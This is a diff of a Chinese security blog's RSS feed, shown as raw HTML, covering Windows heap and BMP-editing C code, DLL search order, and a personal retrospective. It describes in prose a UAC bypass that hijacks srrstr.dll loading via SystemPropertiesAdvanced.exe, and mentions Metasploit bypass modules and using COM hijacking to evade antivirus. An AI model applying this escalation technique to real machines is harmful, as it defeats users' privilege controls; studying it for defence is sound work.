0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication1.cpp : This file contains the &#39;main&#39; function. Program execution begins and ends there. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;winsock.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">// int WinMain(HINSTANCE hinstance,HINSTANCE hprevinstance,LPSTR lpcmdline,int ncmdshow) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> CHAR text[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Hello world !!!&#34;</span>; +</span></span><span style="display:flex;"><span> LPCWCHAR pFilename <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Users</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Rvn0xsy</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">source</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">repos</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">ConsoleApplication1</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Debug</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">splash.bmp&#34;</span>); +</span></span><span style="display:flex;"><span> LPCWCHAR pSaveFilename <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Users</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Rvn0xsy</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">source</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">repos</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">ConsoleApplication1</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Debug</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">save.bmp&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 创建文件句柄,打开图片 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(pFilename, GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hFile <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBox</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;CreateFile&#34;</span>), <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error&#34;</span>), MB_OK); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取文件大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwFileSize; +</span></span><span style="display:flex;"><span> dwFileSize<span style="color:#f92672">=</span><span style="color:#a6e22e">GetFileSize</span>(hFile, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 申请一个与文件大小对应的内存空间 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> CHAR <span style="color:#f92672">*</span> lpBuffer <span style="color:#f92672">=</span>(CHAR <span style="color:#f92672">*</span>) <span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, dwFileSize); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 将文件内容读入内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">ReadFile</span>(hFile, lpBuffer, dwFileSize, <span style="color:#f92672">&amp;</span>dwFileSize, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取第一个像素点对应的首字节 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD <span style="color:#f92672">*</span> point <span style="color:#f92672">=</span> (DWORD<span style="color:#f92672">*</span>)(lpBuffer <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 获取首个像素地址 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> CHAR<span style="color:#f92672">*</span> lpData <span style="color:#f92672">=</span> (lpBuffer <span style="color:#f92672">+</span> (<span style="color:#f92672">*</span>point)); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 写入内容 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CopyMemory</span>(lpData, text, <span style="color:#66d9ef">sizeof</span>(text)); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">//创建保存副本 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hSave <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(pSaveFilename, GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WriteFile</span>(hSave, lpBuffer, dwFileSize, <span style="color:#f92672">&amp;</span>dwFileSize, NULL); <span style="color:#75715e">// 写入文件 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CloseHandle</span>(hSave); <span style="color:#75715e">// 保存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 释放堆 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">HeapFree</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), <span style="color:#ae81ff">0</span>, lpBuffer); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 关闭文件 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CloseHandle</span>(hFile); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>效果如下:</p>Visual Studio 调试DLLhttps://payloads.online/archivers/2019-01-26/2/Sat, 26 Jan 2019 00:00:00 +0000https://payloads.online/archivers/2019-01-26/2/<p> <img src="https://images.payloads.online/4b0d4868-4f5f-11ec-b255-00d861bf4abb.png" alt="2019-01-26-18-26-19"> </p> @@ -2353,7 +4635,18 @@ file gets deleted.</p>驱动人生供应链 </ul> <p>在最后它会寻找<code>C:\Users\&lt;Username&gt;\APPData\Local\Microsoft\WindowsApps\</code>这个目录,而这个目录的读写是不需要触发UAC获得管理员权限来操作的。</p> <p>由此,可以利用该缺陷,将Coolis转换成DLL,上传至<code>C:\Users\&lt;Username&gt;\APPData\Local\Microsoft\WindowsApps\</code>,紧接着执行SystemPropertiesAdvanced.exe,它会自动将<code>srrstr.dll</code>加载至SystemPropertiesAdvanced.exe进程的内存,同样的,我们也就拥有了管理员权限。</p> -<p>在此之前,我有想过在下列模块里做一些优化:</p></description></item><item><title>2018 - 挥手告别https://payloads.online/archivers/2018-18-31/Mon, 31 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-18-31/<h1 id="2017-与创业这条路挥手告别">2017 与创业这条路挥手告别</h1> +<p>在此之前,我有想过在下列模块里做一些优化:</p> +<ul> +<li>exploit/windows/local/bypassuac_fodhelper</li> +<li>exploit/windows/local/bypassuac_injection</li> +<li>exploit/windows/local/bypassuac_comhijack</li> +</ul> +<p>我觉得COM劫持的空间还是很大的,并且也一定程度上能够bypass AV。</p> +<p>Demo:</p> +<!-- raw HTML omitted --> +<h2 id="0x03-总结">0x03 总结</h2> +<p>UAC、DLL劫持、COM劫持的问题肯定还会有很多、但是以前的轮子到现在拿起来用基本上都会被行为拦截,这就需要掌握原理去自己探索、创造。</p> +<p>系统镜像:<code>ed2k://|file|cn_windows_server_2019_x64_dvd_4de40f33.iso|5086887936|7DCDDD6B0C60A0D019B6A93D8F2B6D31|/</code></p>2018 - 挥手告别https://payloads.online/archivers/2018-18-31/Mon, 31 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-18-31/<h1 id="2017-与创业这条路挥手告别">2017 与创业这条路挥手告别</h1> <p>2017是我蜕变最大的一年,工作辞了、准备创业、创业失败,最终写了一篇文章,与创业这条路挥手告别。</p> <p>文章部分内容如下:</p> <p>《关于一叶知安团队,我有些事情要对读者交代》</p> @@ -2385,7 +4678,36 @@ file gets deleted.</p>驱动人生供应链 <p>2017/08/26 倾旋</p> <p><a href="https://mp.weixin.qq.com/s/IzCJk69RYL_IrTFVaP2n1A">&gt;&gt;原文</a></p> -<p>现在公众号已经废除、一叶知安已经解散,不会再去创作了,这篇文章意味着我接受了失败的结果,吸取教训,慢慢成长。</p></description></item><item><title>DLL Hijacking & COM Hijacking ByPass UAC - 议题解读https://payloads.online/archivers/2018-12-22/1/Sat, 22 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-22/1/<blockquote> +<p>现在公众号已经废除、一叶知安已经解散,不会再去创作了,这篇文章意味着我接受了失败的结果,吸取教训,慢慢成长。</p> +<p>写上面这篇文章的时候是从南京落魄的逃离至杭州刚刚安定下来的时候,在此谢谢霖的照顾。</p> +<p>后续找了一份比较清闲的安全服务乙方工作,待遇还可以,但是团队是刚组建起来,需要很大精力投入建设,正是因为闲,我又把C/C++这类学习成本比较高的语言拾起来……至今我觉得我的选择是对的。</p> +<p>同时也给我的“前渗透框架”项目奠定了基础,锻炼了我的能力,使我在安全领域拥有了更多的方向。</p> +<p>参加沙龙的时候,有幸结识了我的前辈 - <strong>GUO</strong>,在聊到职业现状时,他建议我去更大的平台(奇虎/360企业安全集团),我非常认同前辈的说法——“人不能一直活在舒适区”。</p> +<p>当时只是简单聊聊,内心是对自己很不满意的,认为360是一个具有品牌力量的公司,能进入的绝非平庸之辈,我这样的可能面试都过不了,学历不高、能力不强,极度不自信。</p> +<p>正是这种极度不自信催促了我学习上进的心,然后开始将渗透做深,与ShadowTeam里的师傅们交流。</p> +<p>在2017年最后一次与GUO对话的时候,我说了一句:“我一定会自信的走进去(360)”</p> +<h1 id="2018">2018</h1> +<p>过完年,杭州的天气依旧有些冷,决定做几个漂亮的渗透案例,到时候给自己的简历加分……</p> +<p>花了一个月的时间,产出了两篇文章:</p> +<ul> +<li><a href="https://payloads.online/archivers/2017-12-28/1">针对国内一大厂的后渗透 - 持续</a></li> +<li><a href="https://payloads.online/archivers/2018-01-30/1">针对某跨国企业的一次渗透测试-持续</a></li> +</ul> +<p>分别都拿到域控作为结束,我将文章脱敏后发出来,跨国企业的安全部负责人在安全圈看到了这个文章,通过邮箱取得联系,最后我决定删除文章,当时圈里都传遍了,<strong>朋友圈现在还有聊天记录</strong>。</p> +<p>的确这种做法是不对的,厂商也差点报警处理,还好没有太大影响,并且我也给了修复建议,碰到了好人,运气好。</p> +<p>三四月份,天气开始热起来了,我已经写好简历,按照流程面试完后,准备奔赴上海找房……</p> +<h2 id="四月向魔都宣告---我来了">四月向魔都宣告 - 我来了</h2> +<p>完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。</p> +<p>谢谢我的朋友们给我的支持!</p> +<p><a href="https://payloads.online/archivers/2018-04-20/1">&gt;&gt;原文</a></p> +<p>于是在八月份写了一篇总结:</p> +<h3 id="入职">入职</h3> +<p>在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。</p> +<h3 id="工作">工作</h3> +<p>慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;</p> +<p>有应急响应、代码审计、流量分析、渗透测试等,技术的广度提升了很多,也看到了技术变现有更多的可能,唯一就是我要不断的创新、发散自己的思维。</p> +<h3 id="近况">近况</h3> +<p>最近没有规划近期目标,让我觉得有点小焦虑,很多东西都可以一步一步来的,准备养成一个写日记的习惯。</p>DLL Hijacking & COM Hijacking ByPass UAC - 议题解读https://payloads.online/archivers/2018-12-22/1/Sat, 22 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-22/1/<blockquote> <p>在线地址:<a href="https://www.bilibili.com/video/av51718274/">https://www.bilibili.com/video/av51718274/</a></p> </blockquote> <!-- raw HTML omitted --> @@ -2421,7 +4743,31 @@ file gets deleted.</p>驱动人生供应链 <p> <img src="https://images.payloads.online/4516d88e-4f5f-11ec-971e-00d861bf4abb.png" alt=""> -</p></description></item><item><title>Windows - 内存管理https://payloads.online/archivers/2018-12-21/1/Fri, 21 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-21/1/<h2 id="0x00-windows-heap">0x00 Windows Heap</h2> +</p> +<p>在Windows平台下,我们使用的应用程序中的功能其实大多都很相似,窗口调用窗口的模块,分配内存调用内存管理的模块,文件操作调用IO模块,这些模块在Windows里的具体表现就是DLL文件。</p> +<h2 id="0x03-dll的加载过程">0X03 DLL的加载过程</h2> +<ul> +<li>1.程序所在目录</li> +<li>2.程序加载目录(SetCurrentDirectory)</li> +<li>3.系统目录即 SYSTEM32 目录</li> +<li>4.16位系统目录即 SYSTEM 目录</li> +<li>5.Windows目录</li> +<li>6.PATH环境变量中列出的目录</li> +</ul> +<p>PS:Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。</p> +<p>注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs</p> +<p> + <img src="https://images.payloads.online/456a6e72-4f5f-11ec-b36a-00d861bf4abb.png" alt=""> + +</p> +<h3 id="dll的加载过程--know-dlls注册表项">DLL的加载过程 – Know DLLs注册表项</h3> +<p>Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。</p> +<p> + <img src="https://images.payloads.online/45b927d8-4f5f-11ec-9b6b-00d861bf4abb.png" alt=""> + +</p> +<h3 id="dll的加载过程--process-monitor">DLL的加载过程 – Process Monitor</h3> +<p>Process Monitor是Windows的高级监视工具,可显示实时文件系统,注册表和进程/线程活动。</p>Windows - 内存管理https://payloads.online/archivers/2018-12-21/1/Fri, 21 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-21/1/<h2 id="0x00-windows-heap">0x00 Windows Heap</h2> <p>每个线程都有自己的堆栈,堆用于在内存中存储未知大小的数据,由堆管理器管理,而栈用于保存函数执行状态,存储局部变量。</p> <h2 id="0x01-申请堆空间的步骤---heap-api">0x01 申请堆空间的步骤 - Heap API</h2> <ul> @@ -2528,11 +4874,109 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">90 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">91 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">92 -</span></code></pr</description></item><item><title>Windows - 线程同步https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/<h2 id="0x00-线程基础">0x00 线程基础</h2> -<p>每个线程的堆栈空间不同,在多线程执行时,可以互不干扰的运行,但是全局变量保存在全局区,当多个线程读写全局变量时,由于读写操作不是原子的,会发生程序错乱。</p> -<h3 id="为什么不是原子">为什么不是原子?</h3> -<p>当自增、自减时,需要两行汇编指令,而CPU线程调度的最小单位是一行汇编指令,所以当某个值自增时,操作就不是原子的。</p> -<p>为了保证多线程读写全局变量达到同步,可以使用临界区技术,Windows正是实现了这个技术,提供了对应的API。</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 堆管理 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>VOID <span style="color:#a6e22e">P</span>(<span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span> contents) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(contents); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 堆管理 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 创建堆 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE HeapCreate( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD flOptions, +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwInitialSize, +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwMaximumSize +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> flOptions: 1.HEAP_CREATE_ENABLE_EXECUTE 代码允许执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 2.HEAP_GENERATE_EXCEPTIONS 如果分配内存失败,会产生异常 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 3.HEAP_NO_SERIALIZE 不进行连续存取 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwInitialSize: 堆的初始化大小,如果为0,则系统会自动分配一个大小。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwMaximumSize: 堆的最大值,如果为0,将是一个可增长的堆,可以达到系统能够分配的最大值。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> HANDLE hHeap <span style="color:#f92672">=</span> <span style="color:#a6e22e">HeapCreate</span>(HEAP_CREATE_ENABLE_EXECUTE, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hHeap <span style="color:#f92672">==</span> NULL) { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">P</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error HeapCreate() ...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 获取堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE GetProcessHeap(); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 函数返回堆句柄,如果返回值为NULL,获取堆失败 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> HANDLE hHeapRand <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetProcessHeap</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hHeapRand <span style="color:#f92672">==</span> NULL) { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">P</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;GetProcessHeap() : No Heap ...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 获取堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD GetProcessHeaps( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD NumberOfHeaps, // 输入参数,要获取的句柄数量 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> PHANDLE ProcessHeaps // 输出参数,句柄数组,用于保存多个句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> 函数返回堆句柄,如果返回值为NULL,获取堆失败 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> CONST DWORD dwHeapMax <span style="color:#f92672">=</span> <span style="color:#ae81ff">1024</span>; +</span></span><span style="display:flex;"><span> HANDLE hHeapsNum[dwHeapMax]; +</span></span><span style="display:flex;"><span> DWORD dwHeapNum <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetProcessHeaps</span>(dwHeapMax, hHeapsNum); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Heap number : &#34;</span> <span style="color:#f92672">&lt;&lt;</span> dwHeapNum <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 为堆分配内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DECLSPEC_ALLOCATOR LPVOID HeapAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE hHeap, // 堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD dwFlags,// 内存分配标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwBytes // 分配大小(字节为单位) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwFlags: +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_GENERATE_EXCEPTIONS -&gt; 抛出异常 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_NO_SERIALIZE -&gt; 不连续存储 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_ZERO_MEMORY -&gt; 将内存块全部清零 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> LPTSTR tAlloc <span style="color:#f92672">=</span> (LPTSTR)<span style="color:#a6e22e">HeapAlloc</span>(hHeapRand, HEAP_ZERO_MEMORY, <span style="color:#ae81ff">1000</span>); +</span></span><span 